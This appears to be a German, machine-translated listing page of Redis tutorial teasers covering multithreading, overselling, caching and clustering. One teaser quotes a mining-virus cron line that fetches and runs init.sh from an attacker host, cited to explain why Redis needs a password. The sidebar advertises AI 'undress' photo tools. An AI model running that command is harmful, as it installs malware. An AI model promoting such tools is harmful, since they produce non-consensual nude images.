


Warum führt Redis Multithreading ein?
1. Problemübersicht Nachdem Redis 6.0 das Design des Single-Thread-Modells aufgegeben hat, das ursprünglich mit einem einzelnen Thread ausgeführt wurde, begann es, selektiv das Multi-Thread-Modell zu verwenden ist so großartig, aber er kann sich dem „Gesetz des wahren Duftes“ nicht entziehen. „Wenn Sie sorgfältig darüber nachdenken, kann diese Frage tatsächlich in zwei Hauptfragen unterteilt werden: (1) Warum hat sich Redis im ersten Fall für ein Single-Thread-Modell entschieden?“ Platz (die Vorteile von Single-Threading)? (2) Warum hat Redis nach 6.0 Multithreading hinzugefügt (in einigen Fällen weist Singlethreading Mängel auf, die durch Multithreading behoben werden können)? Tatsächlich ist es nicht so, dass der Autor dem wahren Dufttheorem nicht entkommen wäre, aber mit der Zeit treten immer mehr Probleme auf. Das ursprüngliche Design muss etwas veraltet sein und sollte geändert werden.
May 26, 2023 pm 03:59 PM
Wie man Go und Lua verwendet, um die Lager- und Überverkaufsprobleme im Redis-Flash-Sale zu lösen
0. Einführung Die Go-Sprache verbindet go-redis mit der Datenbank. Wenn Sie diesen Teil noch nicht verstehen, wird empfohlen, dass Sie diesen Teil des Wissens zuerst erlernen. Darüber hinaus löst dieser Flash-Sale hauptsächlich zwei Probleme. Das erste ist das Problem des Überverkaufs und das andere das Problem des Lagerbestands. Es gibt keine spezielle Seite zur Simulation der Parallelität. Wir verwenden Gorountine direkt und bleiben 10 Sekunden, bevor wir die Anfrage aufrufen. Um das Problem des Überverkaufs anzugehen, kann die Überwachung von go-redis mit Transaktionsverarbeitung eingeführt werden [äquivalent zu optimistischem Sperren]. Das Inventarproblem ist etwas problematischer. Sie müssen Lua verwenden, um das Skript zu bearbeiten, aber Sie müssen die Lua-Kompilierungsumgebung nicht auf Ihren eigenen Computer herunterladen. Keine Panik, dieser Teil ist wie folgt aufgebaut
May 26, 2023 pm 03:57 PM
So erstellen Sie schnell einen Redis-Cluster mit Python
Das Redis-Kommunikationsprotokoll listet die wichtigsten Punkte auf, um das Verständnis des folgenden Programms zu erleichtern. Redis überwacht eingehende Verbindungen am TCP-Port 6379 (Standardport, der in der Konfiguration geändert werden kann). Jeder Redis-Befehl oder jede zwischen dem Client und dem Server übertragene Daten endet mit rn. Antworten (ein Protokoll, das der Server vom Client wiederherstellen kann) Redis antwortet auf Befehle mit unterschiedlichen Antworttypen. Es kann den Antworttyp ab dem ersten vom Server gesendeten Byte prüfen: * Bei einer einzeiligen Antwort (Statusantwort) ist das erste Byte der Antwort „+“. * Bei einer Fehlermeldung ist das erste Byte der Antwort be ist „-&
May 26, 2023 pm 03:56 PM
Was bedeutet das verzögerte doppelte Löschen des Redis-Cache?
Warum wird der Cache gelöscht statt aktualisiert? Wenn es sich um ein Update handelt, liegt ein verteiltes Transaktionsproblem vor, der Cache wurde möglicherweise geändert und die Datenbankänderung schlägt möglicherweise fehl. Wenn Sie nur den Cache löschen, ruft die nächste Abfrage die Daten direkt aus der Datenbank ab, selbst wenn die Datenbankänderung fehlschlägt, und es werden keine fehlerhaften Daten angezeigt. Was ist eine verzögerte doppelte Löschung? Das heißt, beim Hinzufügen, Löschen oder Ändern einer Entitätsklasse muss der Cache der Entitätsklasse geleert werden. Die Löschposition liegt vor und nach der Datenbankbetriebsmethode. Wenn man die Methode des Widerspruchsbeweises verwendet und nur die Schlussfolgerung zuerst löscht und sie dann später löscht, kommt man zu dem Schluss, dass sowohl das Löschen vor als auch nach dem Löschen problematisch sind. Daher wird die Strategie der verzögerten doppelten Löschung übernommen. Gedanke 2: Warum ist Verzögerung immer noch ein Widerspruchsbeweis? Die Situation in der folgenden Abbildung zeigt die Situation, in der der alte Cache nach dem doppelten Löschen noch vorhanden ist. Die Verzögerung dient dazu, sicherzustellen, dass die Cache-Änderungsvorgänge anderer Transaktionen abgeschlossen wurden, bevor die Datenbank geändert wird -> Cache leeren.
May 26, 2023 pm 03:49 PM
Was ist die Lösung für Java, Redis zu betreiben und den Ablauf am frühen Morgen des nächsten Tages festzulegen?
Java betreibt Redis, um das Ablaufszenario am frühen Morgen des nächsten Tages festzulegen. Beim Abfragen von Daten bin ich auf das Problem gestoßen, dass die Daten in Redis so eingestellt werden müssen, dass sie am nächsten Tag ablaufen Ich musste das Problem selbst lösen. Den Zeitunterschied zwischen dem frühen Morgen des nächsten Tages und der aktuellen Zeit festlegen, um den gewünschten Effekt zu erzielen Differenz in Sekunden zwischen dem frühen Morgen des nächsten Tages und der aktuellen Zeit *@param*@returnjava .lang.Long*@authorshy*@date2021/3/1218:10*/publicstaticLonggetNowToNextDa
May 26, 2023 pm 03:40 PM
So lösen Sie mit PHP+Redis das Problem des Überverkaufs von Produkten bei hoher Parallelität
Bei einigen E-Commerce-Websites mit einer bestimmten Anzahl von Benutzern ist der Druck auf die Datenbank sehr groß, wenn sie einfach relationale Datenbanken (wie MySQL, Oracle) für Eilkäufe verwenden und der Datenbanksperrmechanismus nicht ordnungsgemäß verwendet wird , wird es Probleme geben, die zu überverkauften Produkten und Gutscheinen führen. Das gleiche Problem trat auch bei meinem Unternehmen auf, als das Problem auftrat. Da ich häufig Redis verwende, habe ich vor, dieses Problem zu lösen . Nutzen Sie die Hochleistungs- und Transaktionsfunktionen von Redis, um das Problem zu lösen, dass Online-Gutscheine durch Überbestände aufgebraucht werden. Nachfolgend gebe ich die erste Version des Pseudocodes, mit dem ich dieses Problem vorübergehend gelöst habe, indem ich einige Details entfernte: /*** Schnappen Sie sich den Rabatt
May 26, 2023 pm 03:31 PM
Beispielanalyse von Problemen bei der Ausführung von Redis-Skriptbefehlen
1. Führen Sie in der redis-cli-Befehlszeile Folgendes aus: #Rufen Sie den Redis-Befehl auf, um den Cache festzulegen. #Übergeben Sie nicht den Parameter eval"returnredis.call('set','name1','Tom')"0#Übergeben Sie 1 value Parameter eval"returnredis .call('set','name2',ARGV[1])"0"Tom"
May 26, 2023 pm 03:28 PM
So installieren Sie Redis im Linux-System
Redis ist eine leistungsstarke Schlüsselwertdatenbank. Das Aufkommen von Redis hat die Mängel der Schlüsselwertspeicherung wie Memcached weitgehend ausgeglichen und kann in manchen Situationen eine sehr gute Ergänzung zu relationalen Datenbanken spielen. Einführung in Redis: Redis (RemoteDictionaryServer), der Remote-Wörterbuchdienst, ist eine Open-Source-Protokoll-Schlüsselwertdatenbank, die in ANSIC-Sprache geschrieben ist, das Netzwerk unterstützt, speicherbasiert und persistent sein kann und APIs in mehreren Sprachen bereitstellt. Seit dem 15. März 2010 wird die Entwicklung von Redis von VMware gehostet. Ab Mai 2013 beginnt die Entwicklung von Redis
May 26, 2023 pm 02:55 PM
So verwenden Sie den speziellen Redis-Datentyp Geospatial
Der spezielle Datentyp Geospatial Geographic Space von Redis wurde in Redis Version 3.2 eingeführt. Er kann zur Berechnung geografischer Standortinformationen, der Entfernung zwischen zwei Orten, der Menschen in der Umgebung und anderer Szenarien verwendet werden. 1. geoadd fügt den angegebenen geografischen räumlichen Standort (Breitengrad, Längengrad, Name) zum angegebenen Schlüssel hinzu. Hier können Sie einige Online-Tools zur Abfrage von Breiten- und Längengraden verwenden, um Daten abzurufen. geoaddchina:city121.47264431.231706shanghaigeoaddchina:city120.61958531.299379suzhougeoaddchina:city116.4052
May 26, 2023 pm 02:55 PM
Welche drei Möglichkeiten gibt es für Redis-Clustering?
Redis verfügt über drei Clustering-Methoden: Master-Slave-Replikation, Sentinel-Modus und Cluster-Cluster. Grundprinzipien der Master-Slave-Replikation Wenn ein neuer Slave-Server eingerichtet wird, sendet der Slave-Server einen SYNC-Befehl an den Master-Server. Nach dem Empfang des SYNC-Befehls führt der Master-Server einen BGSAVE-Befehl aus Wenn der BGSAVE-Befehl ausgeführt wird, wird die generierte RDB-Datei an den Slave-Server gesendet. Der Slave-Server verwendet diese Datei, um Daten in den Speicher zu laden Slave-Server im Format des Redis-Befehlsprotokolls. Danach wird jedes Mal, wenn der Master-Dienst einen Befehl ausführt, dieser mit dem Slave-Server synchronisiert. Auch wenn mehrere Slave-Server SYNC-Befehle an den Master-Server senden,
May 26, 2023 pm 02:37 PM
Aus welchem Grund muss Redis ein Passwort festlegen?
Warum muss Redis ein Passwort festlegen? Sie müssen kein Passwort für die Intranetumgebung festlegen, aber es ist notwendig, ein Passwort für persönliche Server und öffentliche Online-Server festzulegen. Gestern habe ich die Redis-Ereignisbenachrichtigung von Minio überprüft und als ich die Redis-Schlüssel überprüft habe, habe ich noch ein paar seltsame Schlüssel gefunden. Sicherung1, Sicherung2, Sicherung3. Dann vermutete ich, dass es sich um einen Mining-Virus handelte. Wie unten gezeigt: Auf diese Weise werden die geplanten Aufgaben und Skripte in unseren Computer eingefügt und das init.sh-Skript „backup1“\n\n\n*/2****rootcd1-fsSLhttp://en2an.top wird ausgeführt /cleanfda/init wird ausgeführt
May 26, 2023 pm 02:17 PM
So verwenden Sie Redis-Bit-Operationen
Der Redis-Testcode in diesem Artikel basiert auf der folgenden Umgebung: Betriebssystem: MacOS 64-Bit-Version: Redis5.0.764bit Betriebsmodus: Standalone-Modus Redis-Bit-Operation Reids-Bit-Operation wird auch Bit-Array-Operation und Bitmap genannt. Es bietet vier Befehle : SETBIT, GETBIT, BITCOUNT und BITTOP Zum Bearbeiten binärer Bit-Arrays. Schauen wir uns zunächst eine Reihe grundlegender Operationsbeispiele an. SETBIT-Syntax: SETBITkeyoffsetvalue ist: Befehlstasten-Offset 0/1 Der Befehl setbit wird verwendet, um den binären Bit-Einstellungswert des angegebenen Offsets in das Bit-Array zu schreiben. Der Offset beginnt bei 0 und zu zählen ist nur erlaubt Schreiben 1 oder 0,
May 26, 2023 pm 02:14 PM
Wie SpringBoot Redis-Schlüsseländerungsereignisse überwacht
1. Funktionsübersicht Mit der Keyspace-Benachrichtigung können Clients Ereignisse empfangen, die Rediskey-Änderungen auf irgendeine Weise ändern, indem sie Kanäle oder Muster abonnieren. Alle Befehle, die Tastenkombinationen ändern. Alle Schlüssel, die den Befehl LPUSHkeyvalue[Wert…] erhalten haben. Alle abgelaufenen Schlüssel in der Datenbankdatenbank. Ereignisse werden über die Abonnement- und Veröffentlichungsfunktionen (Pub/Sub) von Redis verteilt, sodass alle Clients, die Abonnement- und Veröffentlichungsfunktionen unterstützen, die Keyspace-Benachrichtigungsfunktion ohne Änderungen direkt verwenden können. Da die aktuellen Abonnement- und Veröffentlichungsfunktionen von Redis bei Ihrem Programm eine Fire-and-Forget-Strategie verfolgen
May 26, 2023 pm 01:55 PM
So verwenden Sie opsForList().range() in Redis
Fazit (spezifische Testdaten finden Sie unten) 1. Wenn Start-Ende die Gesamtreihenfolge beibehält, gibt es kein Problem. 2. Gemäß der Reihenfolge kann sogar StartN-1 die Daten abfragen. 3. Spezielle Verwendung: über stringRedisTemplate .opsForList().range( key,0,-1) kann den ersten bis letzten Index (also alle Daten) abfragen. 1. Umgebung redis2, Testcode: @ResourceprivateStringRedisTemplatestringRedisTemplate;@TestvoidtestRedis(){Stringk
May 26, 2023 pm 01:46 PM
Hot-Tools-Tags

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

Video Face Swap
Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heißer Artikel
Assassin's Creed Shadows: Seashell Riddle -Lösung
Wo kann man die Kransteuerungsschlüsselkarten in Atomfall finden
Wie kann ich KB5055523 in Windows 11 nicht installieren?
Inzoi: Wie man sich für Schule und Universität bewerbt

Heiße Werkzeuge

Sammlung der Laufzeitbibliothek vc9-vc14 (32+64 Bit) (Link unten)
Laden Sie die Sammlung der Laufzeitbibliotheken herunter, die für die Installation von phpStudy erforderlich sind

VC9 32-Bit
VC9 32-Bit-Laufzeitbibliothek für die integrierte Installationsumgebung von phpstudy

Vollversion der PHP-Programmierer-Toolbox
Programmer Toolbox v1.0 PHP Integrierte Umgebung

VC11 32-Bit
VC11 32-Bit-Laufzeitbibliothek für die integrierte Installationsumgebung von phpstudy

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen
